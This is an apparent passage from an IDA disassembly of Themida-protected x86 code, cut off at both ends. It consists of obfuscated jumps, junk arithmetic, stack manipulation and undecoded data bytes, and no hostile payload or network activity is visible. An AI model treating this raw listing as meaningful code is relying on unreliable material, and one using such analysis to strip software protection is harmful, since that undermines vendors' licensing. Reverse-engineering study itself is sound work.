2F725451h pop ebp xor ebp, 2F725451h pop eax jmp loc_56012F ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 0FF87FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E8FD: ; CODE XREF: Themida_:0056049Cj xor eax, 6DCF3A22h xor edx, eax pop eax loc_55E905: ; CODE XREF: Themida_:00557241j ; Themida_:0055C0F0j push 2864h jmp loc_55E73F ; --------------------------------------------------------------------------- loc_55E90F: ; CODE XREF: Themida_:0055FA65j sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_558294 ; --------------------------------------------------------------------------- db 51h dd 6055A0B9h, 6BEAE963h, 0CA81FFFFh, 56E14223h, 73B7BE56h dd 0F22956F7h, 5AD3015Eh, 4C381h, 0FF530000h, 8B042474h dd 0C481241Ch, 4, 8B24048Fh, 0B7E92424h, 33FFFF68h, 895C240Ch dd 0BD66242Ch, 81665D81h, 66320CEDh, 2C8BE831h, 0B853E924h dd 1C89FFFFh, 0B53FE924h, 0B966FFFFh, 166035Bh, 658CE9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E98A: ; CODE XREF: Themida_:0055800Bj xor edi, [esp] xor [esp], edi jmp loc_556DD2 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5904h, 24248B24h, 9C240428h, 0FF5F25E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E9A9: ; CODE XREF: Themida_:0055CD18j add esi, ecx pop ecx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add esp, 4 div ecx push ebp jmp loc_5589F5 ; --------------------------------------------------------------------------- db 58h, 0E9h, 4Ah dd 8B000005h, 0C481243Ch, 4, 8904EC83h, 0BE56242Ch, 61A4480Fh dd 1EE81h, 0E6810000h, 11A31FBh, 0FFFAC681h, 0F589FEFFh dd 0E9E8015Eh, 0FFFFF73Fh, 8286E951h, 8B66FFFFh, 0E9522404h dd 0FFFFDE2Fh, 89B25266h, 8006C580h, 0D5002DC5h, 0FFBD2EE9h dd 0D72CACFFh, 0EC81D828h, 4, 0B3241C89h, 25EB8080h, 0FFC2F3E9h dd 12B2FFh, 515A66D0h, 0ED80C5B5h, 64F580DAh, 59E828h dd 64E958C3h, 0B8FFFFA8h, 4, 0FF7D4FE9h, 8FF681FFh, 813C4C02h dd 0AF6589C6h, 26EE811Ch, 1793B6Ah, 24348BF7h, 4C481h dd 3C330000h, 243C3124h, 8B243C33h, 0A9E92424h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EA8B: ; CODE XREF: Themida_:00554EF7j pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, ebx mov eax, edi mov edi, [esp] add esp, 4 jmp loc_55AE90 ; --------------------------------------------------------------------------- dw 23E9h dd 89FFFF5Eh, 27BD242Ch, 29630B4Ch, 68FD5DEFh, 615Ah, 0B8240489h dd 36631829h, 105DE956h, 815C0000h, 4C3h, 4B85000h, 1000000h dd 8DD4E9C3h, 14F7FFFFh, 0D3F75B24h, 2BF8EB81h, 0EB8342BDh dd 2AE952FFh, 8B000016h, 0C4832414h, 24048F04h, 243C895Ch dd 2662B9BFh, 0F7814F55h, 531A9E72h, 6C227405h, 53F80141h dd 6C2274BBh, 5BD82941h, 0D1B8505Fh, 51AC43Ah, 9C718CBh dd 6805E8C1h, 41DCh, 0E9243C89h, 0FFFFA223h, 8B545358h dd 0C483241Ch, 0F42CE904h, 3489FFFFh, 348B5424h, 4C48324h dd 84E95350h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB57: ; CODE XREF: Themida_:005575F1j add esp, 4 or eax, eax jz loc_55C5BC push dword ptr [edi+1Ch] push ecx jmp loc_55DF0A ; --------------------------------------------------------------------------- dw 39BEh dd 463EBF45h, 7937C681h, 0F74E127Ch, 6EEE81D6h, 81AA3923h dd 2D2443C7h, 95AEE958h, 0E95CFFFFh, 1Fh, 56242C8Bh, 0DE9E689h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB9F: ; CODE XREF: Themida_:0055795Fj add edi, 6D806AC4h jmp loc_55D98E ; --------------------------------------------------------------------------- dw 0C166h dd 0DEE907E9h, 89FFFFC5h, 0CEB82404h, 4054CA52h, 198E9h dd 17BD6800h, 0E95F1037h, 0FFFFAD4Ch, 8B595651h, 0C4812434h dd 4, 8B240C87h, 0C4832434h, 1DFAE904h, 822D0000h, 8B666874h dd 0C483241Ch, 0F65E904h, 34890000h, 2D0FBE24h, 0E6814510h dd 763F0927h, 5204EEC1h, 423651BAh, 0F2B6E926h, 483FFFFh dd 34FF0424h, 0C4835F24h, 4C78104h, 56000000h, 0C4061EBEh dd 0F0E68160h, 0E96DFB47h, 0FFFFFE29h, 24048B66h, 52E68956h dd 0D9BEE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC42: ; CODE XREF: Themida_:00555EBEj push ebp jmp loc_55978E ; --------------------------------------------------------------------------- loc_55EC48: ; CODE XREF: Themida_:005564BBj mov ebx, [esp] push edi jmp loc_555AA3 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6825E981h, 0E9C10136h, 0A4C18108h, 296F1089h, 240C8BCBh dd 4C481h, 9050000h, 0E906321Ch, 0FFFFC7CDh, 0E8C09CB0h dd 0F5E1E907h, 0CB81FFFFh, 40482E1Dh, 3EBC14Bh, 0C381DBF7h dd 0FF9E323Fh, 215BDE31h, 24348BF5h, 4C481h, 0E5C10000h dd 22BA5204h, 119F6BFh, 5F2E9D5h, 0E6680000h, 89000066h dd 48B2404h, 0E1895124h, 2804BA52h, 0C2833632h, 49EA8101h dd 4A2F066Fh, 7C8FEA81h, 0E95137C3h, 0B70h, 0E99C5166h dd 0FFFF5BEAh, 0C8B665Ch, 4EC8324h, 57243489h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0E9552424h, 0FFFFDCEBh, 4C6815Eh dd 0E9000000h, 0FFFF806Fh, 0E956F580h, 0FFFFDB86h, 0E958C709h dd 0FFFFEDF3h, 6624248Bh, 8324048Bh, 48904ECh, 1031E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED36: ; CODE XREF: Themida_:0055D6D1j shr esi, 5 push ebp jmp loc_554BF5 ; --------------------------------------------------------------------------- loc_55ED3F: ; CODE XREF: Themida_:0055D547j mov [esp], esp add dword ptr [esp], 4 jmp loc_55F841 ; --------------------------------------------------------------------------- db 59h dd 68575651h, 95C098Ch, 0FF8E32E9h, 75BB53FFh, 8127B526h dd 0F6202C3h, 6E3C135h, 0FF7976E9h, 4C481FFh, 58000000h dd 2DB15166h, 8B66CB28h, 0C483240Ch, 10EB8002h, 0FFB1C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED89: ; CODE XREF: Themida_:005550BBj push eax jmp loc_55A38B ; --------------------------------------------------------------------------- db 83h dd 6AE904ECh, 81FFFF98h, 4C3h, 4C38100h, 87000000h, 815C241Ch dd 4ECh, 240C8900h, 8E5323B9h, 8BCE29F7h, 0C481240Ch, 4 dd 685EF029h, 45E1h, 68241489h, 6634B36Dh, 5A2434FFh, 3104C483h dd 2434FFD0h, 9078E95Ah, 4BEFFFFh, 5000000h, 56601DE9h dd 0CAE9F001h, 87FFFF96h, 285C2404h, 1EBDE9D8h, 5AB80000h dd 31065F20h, 8B5758C7h, 23E92434h, 0F7FFFFB1h, 0B8CA81D2h dd 56189B1Ah, 635626BEh, 54B85051h, 2120B51Bh, 0B4E958C6h dd 56FFFF8Fh, 0FFEEB8E9h, 48E953FFh, 0FFFFFFE4h, 815B2434h dd 4C4h, 243C8700h, 406C685Ch, 1C890000h, 2AB8BB24h, 0EC812AA5h dd 4, 0E9241C89h, 0FFFFFC7Eh, 0C884E95Eh, 0E957FFFFh, 0FFFFFD55h dd 0DD685854h, 89000046h, 12BD242Ch, 8110A165h, 0FC1428EDh dd 0B2E9457Dh, 81FFFFF3h, 4C7h, 2BA5200h, 1000000h, 24148BD7h dd 0FF9071E9h, 74FF55FFh, 34FF0424h, 0C4835D24h, 24048F04h dd 0FF8F3EE9h, 0C3166FFh, 0C336624h, 0C316624h, 5A0CE924h dd 48BFFFFh, 5FC6E924h, 0E581FFFFh, 79952581h, 8107E5C1h dd 0CD1C45EDh, 5DEB29F7h, 30E8C381h, 0C3016160h, 5B83E952h dd 575CFFFFh, 8904EC83h, 4832424h, 0FEE90424h, 81000014h dd 0C44659EBh, 5BDF895Eh, 29E9FA31h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF0B: ; CODE XREF: Themida_:00555444j pop eax jmp loc_555C51 ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 6 dd 1A66E9h, 4BF5700h, 1000000h, 0E9565FF8h, 5CDh, 0C17813B9h dd 0BABAE953h, 0DD2DFFFFh, 0FF427068h, 835F2434h, 0C33104C4h dd 87BFE951h, 0B951FFFFh, 7E703C8Bh, 8244C29h, 24448159h dd 0A23F4704h, 6FE95A0Bh, 68FFFF59h, 6421h, 68241489h dd 591E5CDFh, 74FE685Ah, 0C3E90000h, 81FFFF65h, 0C50FABCFh dd 0FFF78159h, 1DDFFCFh, 0C6815FFEh, 4, 5C243487h, 3F47BB53h dd 1BE90BA2h, 0B6FFFF7Fh, 0E9F02073h, 0FFFFBE12h, 0ECC077B4h dd 68D4F608h, 5B18h, 0B1240C89h, 88B5E9F0h, 0E953FFFFh dd 0FFFF61CCh, 0E924148Bh, 0FFFFC515h, 2DB3685Fh, 1C890000h dd 2F11BB24h, 8E6804ABh, 0E9000066h, 0FFFF6C03h ; --------------------------------------------------------------------------- loc_55EFE0: ; CODE XREF: Themida_:0055916Fj add ebx, edi pop edi mov dword ptr [ebx], 0 push dword ptr [esp] pop ebx push ebx mov ebx, esp jmp loc_557506 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 16903A0Ch, 79BAB850h, 44012964h, 81580424h, 3855242Ch dd 0A3E90B51h, 8BFFFFD4h, 0C4812414h, 4, 148BD501h, 4C48124h dd 1000000h, 2434FFEEh, 0E689565Dh, 4C681h, 0C6830000h dd 24348704h, 0F389535Ch, 515A5352h, 0C181E189h, 4, 4BE56h dd 0E9810000h, 1DB44796h, 0CC4E981h, 0F1296EEBh, 0CC4C181h dd 0C1816EEBh, 1DB44796h, 0CBE9515Eh, 0D0000014h, 8CB050EFh dd 0C730FB34h, 0F4CF8058h, 51B8EF80h, 0FFA269E9h, 240C87FFh dd 7542685Ch, 3C890000h, 1413E924h, 0C4830000h, 6C816602h dd 8820224h, 24740166h, 44816602h, 8820224h, 15E95366h dd 0B9FFFF91h, 770E7FF7h, 88E95749h, 0FFFFFF9Bh, 0E9592434h dd 0FFFF70B0h, 148B5958h, 0E393E924h, 0EB81FFFFh, 39849B03h dd 15BDF29h, 3CC781F7h, 5003A504h, 0FF6D8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F0ED: ; CODE XREF: Themida_:0055D4EBj pop esp or eax, eax jz loc_55838A push dword ptr [edi+1Ch] sub esp, 4 mov [esp], eax mov eax, 18F37755h add [esp+4], eax pop eax mov ecx, [esp] add esp, 4 push 4AEFh mov [esp], eax mov eax, 7F04703Ch sub eax, 658248FCh push ebx mov ebx, 5FC60D53h shl ebx, 3 and ebx, 50296175h or ebx, 548963D2h sub ebx, 4BF248Ah add ebx, 52743A1Fh jmp loc_55774C ; --------------------------------------------------------------------------- dw 2C89h dd 6C5BE924h, 0E681FFFFh, 61A051D9h, 16A1BF57h, 0FE3140BAh dd 2F6815Fh, 9346148h, 0E63BE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F16E: ; CODE XREF: Themida_:0055E474j add edi, ebp jmp loc_55DDE1 ; --------------------------------------------------------------------------- db 81h, 0C1h, 6Fh dd 1102A74h, 6FE981C1h, 8B102A74h, 0C4E92404h, 81FFFFF2h dd 4ECh, 24148900h, 0BD268h, 24248900h, 0FFBBB0E9h, 243C89FFh dd 341368h, 4CE95400h, 80FFFF6Ch, 0D5F654E5h, 1835E9h dd 0C2835C00h, 24143302h, 0FF8479E9h, 0B0BA52FFh, 0C1226847h dd 0E28105E2h, 32E93B37h, 0DAF28142h, 81674053h, 4ECh dd 0C4F7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F1E6: ; CODE XREF: Themida_:0055941Fj push bx jmp loc_55D0CE ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0E9000000h, 0FFFFDB45h, 0F781475Fh, 7B0A529Ah dd 10C6EF81h, 0FA090062h, 8E2C15Fh, 1695E9h, 53D80000h dd 36E95FB3h, 0BDFFFFC6h, 282225Dh, 0EDC1DDF7h, 0C5814506h dd 8EFFE1E7h, 0FFBEAAE9h, 202768FFh, 3E90000h, 8BFFFF5Bh dd 54512414h, 4C18159h, 68000000h, 743Fh, 0B8240489h, 6F244A69h dd 5FEFBA52h, 0F28130F6h, 0ACB6CDAh, 8104EAC1h, 475367EAh dd 5AD021F6h, 0E9D1F791h, 0FFFFAE0Ah ; --------------------------------------------------------------------------- loc_55F278: ; CODE XREF: Themida_:005593C0j push dword ptr [esp] jmp loc_55AF2D ; --------------------------------------------------------------------------- dd 24148966h, 0E99C5066h, 0FFFF5642h, 88240C89h, 876C88FDh dd 0E95901h, 0FF000000h, 0E95B2434h, 0FFFFE2DBh, 5DE9895Ah dd 64A9BF57h, 0F781133Eh, 6E882E81h, 96E9DFF7h, 30FFFFB9h dd 0C0B60FC3h, 24148B66h, 0FFD44BE9h, 2E981FFh, 0E9000000h dd 0FFFF9668h, 24343358h, 0E9243431h, 0FFFF9BA5h, 66C1C280h dd 7BE28059h, 8009EA80h, 0D1286CE9h, 8B6CC180h, 0C4832414h dd 59C82804h, 80EBB551h, 0EC81ECEDh, 2, 24048966h, 0E52832B4h dd 54575866h, 4C7815Fh, 56000000h, 2BEh, 5BD6E900h, 0F680FFFFh dd 5AF088F4h, 5866C288h, 148BD000h, 0E7895724h, 0C5BBB53h dd 0EBC17A5Ah, 7ECB8105h, 4B083A71h, 0FF568FE9h, 241489FFh dd 8904EC83h, 0BF572424h, 4, 4247C01h, 0ABA5E95Fh, 5B04FFFFh dd 5B2CE828h, 0E9240C8Bh, 0FFFFA6B9h, 8B24048Fh, 3CD32424h dd 4BE99C24h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F383: ; CODE XREF: Themida_:0055E0EFj push edi mov edi, 313120A4h sub edi, 0FD38B179h mov edx, edi pop edi or edi, edx pop edx inc edi push eax push ebp mov ebp, 5DD5123h mov eax, ebp pop ebp sub edi, eax mov eax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55AF25 ; --------------------------------------------------------------------------- db 29h, 0CBh, 8Bh dd 8EE9240Ch, 66FFFFE2h, 52240C8Bh, 0E957E289h, 0FFFF929Eh dd 6624248Bh, 2404BB0Fh, 54E4E99Ch, 433FFFFh, 24043124h dd 8B240433h, 0C892424h, 54D0E924h, 0BA66FFFFh, 81667EF8h dd 0E97DEEEBh, 0FFFF609Dh ; --------------------------------------------------------------------------- loc_55F40C: ; CODE XREF: Themida_:00557234j dec esi xor esi, 11C78ABh add ebp, esi jmp loc_557175 ; --------------------------------------------------------------------------- dw 0E95Ah dd 5B9h, 24048B66h, 8904EC83h, 97E9240Ch, 8100000Ch, 4C1h dd 4E98300h, 5C240C87h, 89240489h, 2BF57E0h, 0C1756566h dd 0C78106E7h, 0A6A67F84h, 78E9F801h, 8BFFFFF5h, 0C483242Ch dd 2DD80104h, 4F8C52C0h, 2404875Bh, 240CD35Ch, 545CE99Ch dd 0BF57FFFFh, 252A1C48h, 12DFEF81h, 0CF810453h, 269F64F1h dd 4930BA52h, 0CFE9344Dh, 81FFFF9Dh, 0B70142EAh, 0C2815D0Ch dd 758004EDh, 0BF5FB850h, 0C2298733h, 0FF5F12E9h, 241C33FFh dd 33241C31h, 0E95C241Ch, 0FFFF6A28h ; --------------------------------------------------------------------------- loc_55F4B8: ; CODE XREF: Themida_:0055C7EEj pop ecx shr bl, 4 jmp loc_55D60F ; --------------------------------------------------------------------------- db 58h, 52h, 0E9h dd 0FFFFDDB1h, 60D2E957h, 0D0B4FFFFh, 0C005E4C0h, 0EC8004ECh dd 0A3E9E97Eh, 0BE56FFFFh, 3B7177E5h, 10ADEE81h, 0ABE969FDh db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4EF: ; CODE XREF: Themida_:0055B98Bj push edi jmp loc_557CBA ; --------------------------------------------------------------------------- db 0BEh, 2, 0 dd 0F0290000h, 74FF505Eh, 8F580424h, 0A3E92404h, 54FFFF84h dd 8124048Fh, 4ECh, 24348900h, 0E904EC83h, 0FFFFD71Ch ; --------------------------------------------------------------------------- loc_55F520: ; CODE XREF: Themida_:00560606j mov ecx, 4 add ebx, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_560CA3 ; --------------------------------------------------------------------------- dw 0DA68h dd 0FF6CE751h, 81582434h, 4C4h, 6E0C100h, 3503E0C1h, 2115305Ah dd 0FF76ADE9h, 0CFF66FFh, 67E99C24h, 56FFFF53h, 0D71074BEh dd 5EF2296Ch, 8904EC83h, 8BBD242Ch, 0C12BFC37h, 814508E5h dd 5201B7E5h, 62F58132h, 1060316h, 9BE95DEAh, 80000006h dd 2EE965C9h, 83FFFFECh, 0C48304C4h, 66D82804h, 52241C8Bh dd 0C281E289h, 4, 2C281h, 14870000h, 0EC685C24h, 0E9000023h dd 0FFFFDF9Ah, 0E94077FFh, 0FFFF5302h ; --------------------------------------------------------------------------- loc_55F5CC: ; CODE XREF: Themida_:00558F74j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push 31C0h mov [esp], ebp jmp loc_55BE35 ; --------------------------------------------------------------------------- dw 34FFh dd 0A241E924h, 6859FFFFh, 1393h, 0FFB743E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F605: ; CODE XREF: Themida_:0055E461j add eax, 0B2F2EDAEh add ebp, 71C44992h sub ebp, eax jmp loc_555056 ; --------------------------------------------------------------------------- db 0BBh dd 36C42145h, 3CB6F381h, 0E38117E2h, 56064C20h, 1EAAC381h dd 0E3D10495h, 8105EBC1h, 49B2A8F3h, 5BD82900h, 0E9240487h dd 0FFFFA6F8h ; --------------------------------------------------------------------------- loc_55F644: ; CODE XREF: Themida_:005586D0j and ecx, 35D6EF1h sub ecx, 0A4F2116Dh xor esi, ecx pop ecx jmp loc_557573 ; --------------------------------------------------------------------------- loc_55F658: ; CODE XREF: Themida_:00556EB1j and ch, bl push dword ptr [esp] jmp loc_55DBF1 ; --------------------------------------------------------------------------- dw 83ACh dd 0C8904ECh, 283BB524h, 0E82EE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F672: ; CODE XREF: Themida_:00557121j pop esp jmp loc_55C12C ; --------------------------------------------------------------------------- dd 81240C89h, 4ECh, 242C8900h, 0B31298BDh, 81D5F769h, 0B666E4C5h dd 2C8155C4h, 8D0DBC24h, 0C181594Ch, 4C8D0DBCh, 0E3CEE95Dh dd 0E95FFFFFh, 124h, 5359CB01h, 0EC815B5Ah, 4, 0FFD367E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6BD: ; CODE XREF: Themida_:00558227j mov ecx, 0 sub ecx, 2AD50E6h add ecx, edx jmp loc_55675B ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF51FAh, 0E7E0C681h, 0F2294AF5h, 0ABFFE95Eh, 0C483FFFFh dd 792E902h, 8B660000h, 90682404h, 89000059h, 0E189240Ch dd 30E95453h, 5A00000Dh, 4C281h, 0C2810000h, 4, 5C241487h dd 685B5453h, 6E4Ah, 0BF243C89h, 5F9F4483h, 0E9FFEF83h dd 0FFFF65F5h ; --------------------------------------------------------------------------- loc_55F728: ; CODE XREF: Themida_:00559A59j pop ebp jmp loc_55B0ED ; --------------------------------------------------------------------------- dw 0C33h dd 51E95C24h, 0E9FFFFD2h, 0FFFF5192h, 0FF518DE9h, 0E08950FFh dd 405h, 4C08300h, 0E9240487h, 0FFFFFA65h ; --------------------------------------------------------------------------- loc_55F754: ; CODE XREF: Themida_:0055D5E2j mov [edi+28h], dl push dword ptr [esp] pop edx add esp, 4 jmp loc_5548CE ; --------------------------------------------------------------------------- db 83h dd 0D42501C0h, 5220F21Bh, 474909BAh, 7D1CE93Eh, 0E6C1FFFFh dd 8FBF5703h, 472D473Eh, 5174E781h, 0E7C105C2h, 0ABF78103h dd 4F2AF931h, 2BB8C781h, 0EE815B09h, 321350DCh, 0FF7961E9h dd 42EF81FFh, 81617C3Fh, 81FC9AF7h, 0C90DE91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F7B2: ; CODE XREF: Themida_:005562BCj add esp, 4 mov edx, 113B1D32h and edx, 31AB6577h not edx shr edx, 8 shr edx, 6 jmp loc_55D16B ; --------------------------------------------------------------------------- dd 8904EC83h, 8E9242Ch, 89FFFF6Ah, 0E389241Ch, 4C381h dd 0B3E90000h, 5BFFFFC7h, 662CD800h, 0FF6C7DE9h, 2BEFFh dd 26E90000h, 89FFFF65h, 0D9E7E9E1h, 0C87FFFFh, 0BFE95C24h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F80F: ; CODE XREF: Themida_:0055F920j mov [esp], edi mov edi, 525F572Ch add edx, edi mov edi, [esp] add esp, 4 add edx, eax push ebx jmp loc_55E1E3 ; --------------------------------------------------------------------------- loc_55F82A: ; CODE XREF: Themida_:00556366j sub ebx, 705154B3h jmp loc_55D2D8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Dh, 0FF508DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F841: ; CODE XREF: Themida_:0055ED46j pop ebp push 4DF6h jmp loc_55667E ; --------------------------------------------------------------------------- dd 0F9D016B9h, 0E9CA299Fh, 0FFFF8BD3h ; --------------------------------------------------------------------------- loc_55F858: ; CODE XREF: Themida_:005579DEj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_556A88 ; --------------------------------------------------------------------------- loc_55F86F: ; CODE XREF: Themida_:00558711j or edx, eax shl edx, 1 jmp loc_557813 ; --------------------------------------------------------------------------- dd 67E9D801h, 5FFFFFF3h, 0FF583BE9h, 51E289FFh, 0A26E9h dd 80D9F600h, 9DE9E7C1h, 66FFFFA7h, 4876658h, 0C8B6624h dd 2C48124h, 0E9000000h, 0FFFFF605h ; --------------------------------------------------------------------------- loc_55F8AC: ; CODE XREF: Themida_:0055B5BFj add edx, 4 push eax push 167F7C23h pop eax shr eax, 1 jmp loc_557610 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E0892404h, 4BE5657h, 89000000h, 0BB535EF7h dd 66302EF4h, 7225B951h, 0F1814FD0h, 1A6F294Eh, 32A0E981h dd 0CB315490h, 81D3F759h, 0D2DC8EF3h, 6389E981h, 1431FFFFh dd 24143324h, 0FF7C29E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F905: ; CODE XREF: Themida_:0055B6A3j mov [esp], ebx jmp loc_5568DB ; --------------------------------------------------------------------------- db 58h, 80h, 0C1h dd 0CCC180EFh, 0FF8569E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F919: ; CODE XREF: Themida_:005596A0j sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55F80F ; --------------------------------------------------------------------------- db 5Eh, 8Fh, 4 dd 0FF665C24h, 0E99C2404h, 0FFFF84F9h, 0E9C60159h, 0FFFFF998h dd 5A2434FFh, 815D5455h, 4C5h, 0C477E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F94E: ; CODE XREF: Themida_:0055854Dj push edx mov edx, 0B7D30FFDh jmp loc_557354 ; --------------------------------------------------------------------------- loc_55F959: ; CODE XREF: Themida_:0055812Ej push edx mov edx, 7EDF77DAh xor ecx, edx pop edx mov edx, ecx jmp loc_55672F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFFB50E9h, 4C483FFh, 0FFB972E9h, 148B5BFFh, 0E3895324h dd 4C381h, 0B9510000h, 4, 0E58EB81h, 0CB017DF7h, 0E58C381h dd 0C8B7DF7h, 4C48324h, 5C241C87h, 5C243C87h, 4BB0F66h dd 1BE99C24h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F9B3: ; CODE XREF: Themida_:0055B920j mov edx, ecx push dword ptr [esp] pop ecx jmp loc_55560C ; --------------------------------------------------------------------------- loc_55F9BE: ; CODE XREF: Themida_:0055E1B9j xor edx, edi pop edi push 6819h jmp loc_560A00 ; --------------------------------------------------------------------------- db 50h dd 0BF57E089h, 25372441h, 0FFCF76E9h, 81DBF7FFh, 8881B8EBh dd 0FFDF01CDh, 815B2434h, 4C4h, 2C78100h, 33000000h, 3C31243Ch dd 243C3324h, 6624248Bh, 8124048Bh, 4ECh, 242C8900h, 4EC81h dd 24890000h, 0ECA6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA1A: ; CODE XREF: Themida_:00555C0Bj push ebx mov bh, 51h push edx mov dl, bh jmp loc_55E09D ; --------------------------------------------------------------------------- db 5Ch, 0Bh, 0C0h dd 0D3DC840Fh, 0E950FFFFh, 0E2h, 0D830EAB0h, 0E9C7285Bh dd 0FFFFA940h ; --------------------------------------------------------------------------- loc_55FA40: ; CODE XREF: Themida_:0055E5C2j sub esp, 4 mov [esp], ebp mov ebp, 4 sub edi, 30A01084h sub edi, ebp add edi, 30A01084h pop ebp xchg edi, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax jmp loc_55E90F ; --------------------------------------------------------------------------- loc_55FA6A: ; CODE XREF: Themida_:00559EFEj pop ebp pop dword ptr [esp] jmp loc_5564B7 ; --------------------------------------------------------------------------- db 5Ch dd 0FFF842E9h, 92BE56FFh, 8124DF2Dh, 0FFFFFFEEh, 91BA52FFh dd 3124DF2Dh, 4E95AD6h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA93: ; CODE XREF: Themida_:00556209j mov edi, 49183C37h add edx, edi pop edi push ebx mov ebx, 775C2231h sub ebx, 0FA2DC9B6h or edx, ebx pop ebx xor edx, 0FDEFDB7Bh add edi, edx pop edx xchg edi, [esp] pop esp shr eax, 0Ah xor eax, ecx jmp loc_559360 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FF54DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAC9: ; CODE XREF: Themida_:005572EEj mov [esp], ebx push 80C78DFh mov ebx, [esp] add esp, 4 shl ebx, 3 jmp loc_560A0D ; --------------------------------------------------------------------------- loc_55FADF: ; CODE XREF: Themida_:00556EA9j and ecx, 644E51EEh push esi mov esi, 2208Ch xor ecx, esi pop esi mov ebp, ecx pop ecx jmp loc_55C140 ; --------------------------------------------------------------------------- loc_55FAF6: ; CODE XREF: Themida_:0055CEF9j mov eax, 8B54EA7h jmp loc_5597E9 ; --------------------------------------------------------------------------- loc_55FB00: ; CODE XREF: Themida_:005593B4j sub esi, 2 xchg esi, [esp] pop esp mov [esp], dx jmp loc_55B477 ; --------------------------------------------------------------------------- dd 0A178E955h, 0FEB8FFFFh, 21000000h, 48B1C47h, 0A3E95024h dd 0BEFFFF54h, 29B63759h, 0ACE0CAB9h, 0E9F1010Ch, 0FFFFA556h dd 229A05ADh, 0E052367h, 5551464Ch, 5D7BFEBDh, 0CD814D2Ch dd 36145860h, 4E5C14Dh, 5E9D5F7h, 50FFFF89h, 42474FFh dd 24048F58h, 0E924248Bh, 0FFFF65A1h, 0BF7DB4B8h, 58C3210Dh dd 0CBD4C381h, 0E981F37Eh, 6B431D0h, 0FF7041E9h, 74FF55FFh dd 0C0E90424h, 66FFFF84h, 6824048Bh, 3919h, 0E9243C89h dd 0FFFF6687h, 0FF2434FFh, 53E92434h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FBAB: ; CODE XREF: Themida_:0055E3FFj push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp sub esp, 4 jmp loc_555488 ; --------------------------------------------------------------------------- db 81h dd 41A73CEFh, 0AC8BE98Fh, 0F300FFFFh, 0E4A0E95Ah, 0E95AFFFFh dd 0FFFFA3C1h, 0CFE9C201h, 81FFFF8Ah, 4C2h, 0C7FCE900h dd 0C781FFFFh, 4, 4C781h, 3C870000h, 0D76DE924h, 0E189FFFFh dd 4B850h, 0E9810000h, 482878D4h, 0C181C101h, 482878D4h dd 4C18358h, 8B240C87h, 0E9572424h, 0FFFFDC6Dh, 0C7E3E953h dd 0C281FFFFh, 5A29FB18h, 0BB5AD189h, 87456CFEh, 97E9CB29h dd 59FFFFACh, 0FFF483E9h, 4C083FFh, 8B240487h, 0FF532424h dd 34FF2434h, 0B8685B24h, 89000074h, 5AE9242Ch, 0FFFFFF9Eh dd 7FE92434h, 5FFFFFA3h, 0FF61C8E9h, 4BAFFh, 0C3810000h dd 6A873A76h, 82E9D301h, 66FFFF4Dh, 0E9240C8Bh, 0FFFFFC30h ; --------------------------------------------------------------------------- loc_55FC90: ; CODE XREF: Themida_:0055B6D8j add esi, 29212EC2h add esi, 27D4801h add esi, 4FF90EC1h jmp loc_55722B ; --------------------------------------------------------------------------- loc_55FCA7: ; CODE XREF: Themida_:0055CCDCj mov ebx, 4 sub esi, 12D52E55h sub esi, ebx jmp loc_55DD60 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0CBh dd 81207803h, 910885EAh, 51F22906h, 910885B9h, 59CA0106h dd 